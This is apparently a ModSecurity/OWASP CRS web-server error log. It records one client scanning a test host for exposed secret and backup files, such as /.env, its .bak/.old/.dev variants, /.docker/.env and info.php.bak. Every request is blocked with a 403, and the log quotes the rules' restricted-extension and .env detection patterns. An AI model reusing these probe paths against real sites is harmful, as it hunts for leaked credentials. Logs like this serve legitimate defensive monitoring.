[Thu Feb 26 01:02:40.540593 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.php.bak&quot;] [unique_id &quot;aZ-NoJqP6Uim1aZiP_g3ygAAAAY&quot;]
[Thu Feb 26 01:02:40.552091 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.php.bak&quot;] [unique_id &quot;aZ-NoDAL5Lg_nL66HcLgpQAAAAE&quot;]
[Thu Feb 26 01:02:40.552767 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.php.bak&quot;] [unique_id &quot;aZ-NoDAL5Lg_nL66HcLgpQAAAAE&quot;]
[Thu Feb 26 01:02:40.552930 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.php.bak&quot;] [unique_id &quot;aZ-NoDAL5Lg_nL66HcLgpQAAAAE&quot;]
[Thu Feb 26 01:02:40.632845 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aZ-NoJqP6Uim1aZiP_g3zQAAAAY&quot;]
[Thu Feb 26 01:02:40.633179 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aZ-NoJqP6Uim1aZiP_g3zQAAAAY&quot;]
[Thu Feb 26 01:02:40.633421 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aZ-NoJqP6Uim1aZiP_g3zQAAAAY&quot;]
[Thu Feb 26 01:02:40.633581 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aZ-NoJqP6Uim1aZiP_g3zQAAAAY&quot;]
[Thu Feb 26 01:02:40.686497 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZ-NoJqP6Uim1aZiP_g3zgAAAAY&quot;]
[Thu Feb 26 01:02:40.686735 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZ-NoJqP6Uim1aZiP_g3zgAAAAY&quot;]
[Thu Feb 26 01:02:40.686896 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZ-NoJqP6Uim1aZiP_g3zgAAAAY&quot;]
[Thu Feb 26 01:02:40.743261 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aZ-NoJqP6Uim1aZiP_g3zwAAAAY&quot;]
[Thu Feb 26 01:02:40.743545 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aZ-NoJqP6Uim1aZiP_g3zwAAAAY&quot;]
[Thu Feb 26 01:02:40.743754 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aZ-NoJqP6Uim1aZiP_g3zwAAAAY&quot;]
[Thu Feb 26 01:02:40.743898 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aZ-NoJqP6Uim1aZiP_g3zwAAAAY&quot;]
[Thu Feb 26 01:02:40.776793 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_sample&quot;] [unique_id &quot;aZ-NoJqP6Uim1aZiP_g30AAAAAY&quot;]
[Thu Feb 26 01:02:40.777016 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_sample&quot;] [unique_id &quot;aZ-NoJqP6Uim1aZiP_g30AAAAAY&quot;]
[Thu Feb 26 01:02:40.777160 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_sample&quot;] [unique_id &quot;aZ-NoJqP6Uim1aZiP_g30AAAAAY&quot;]
[Thu Feb 26 01:02:40.803417 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aZ-NoJqP6Uim1aZiP_g30QAAAAY&quot;]
[Thu Feb 26 01:02:40.803702 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aZ-NoJqP6Uim1aZiP_g30QAAAAY&quot;]
[Thu Feb 26 01:02:40.803899 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aZ-NoJqP6Uim1aZiP_g30QAAAAY&quot;]
[Thu Feb 26 01:02:40.804034 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aZ-NoJqP6Uim1aZiP_g30QAAAAY&quot;]
[Thu Feb 26 01:02:40.857422 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.www&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.www&quot;] [unique_id &quot;aZ-NoJqP6Uim1aZiP_g30gAAAAY&quot;]
[Thu Feb 26 01:02:40.857677 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.www&quot;] [unique_id &quot;aZ-NoJqP6Uim1aZiP_g30gAAAAY&quot;]
[Thu Feb 26 01:02:40.857832 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.www&quot;] [unique_id &quot;aZ-NoJqP6Uim1aZiP_g30gAAAAY&quot;]
[Thu Feb 26 01:02:40.884483 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;.docker/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .docker/ found within REQUEST_FILENAME: /.docker/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/.env&quot;] [unique_id &quot;aZ-NoJqP6Uim1aZiP_g30wAAAAY&quot;]
[Thu Feb 26 01:02:40.884748 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/.env&quot;] [unique_id &quot;aZ-NoJqP6Uim1aZiP_g30wAAAAY&quot;]
[Thu Feb 26 01:02:40.884893 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/.env&quot;] [unique_id &quot;aZ-NoJqP6Uim1aZiP_g30wAAAAY&quot;]
[Thu Feb 26 01:02:40.923476 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dev&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aZ-NoJqP6Uim1aZiP_g31AAAAAY&quot;]
[Thu Feb 26 01:02:40.923715 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aZ-NoJqP6Uim1aZiP_g31AAAAAY&quot;]
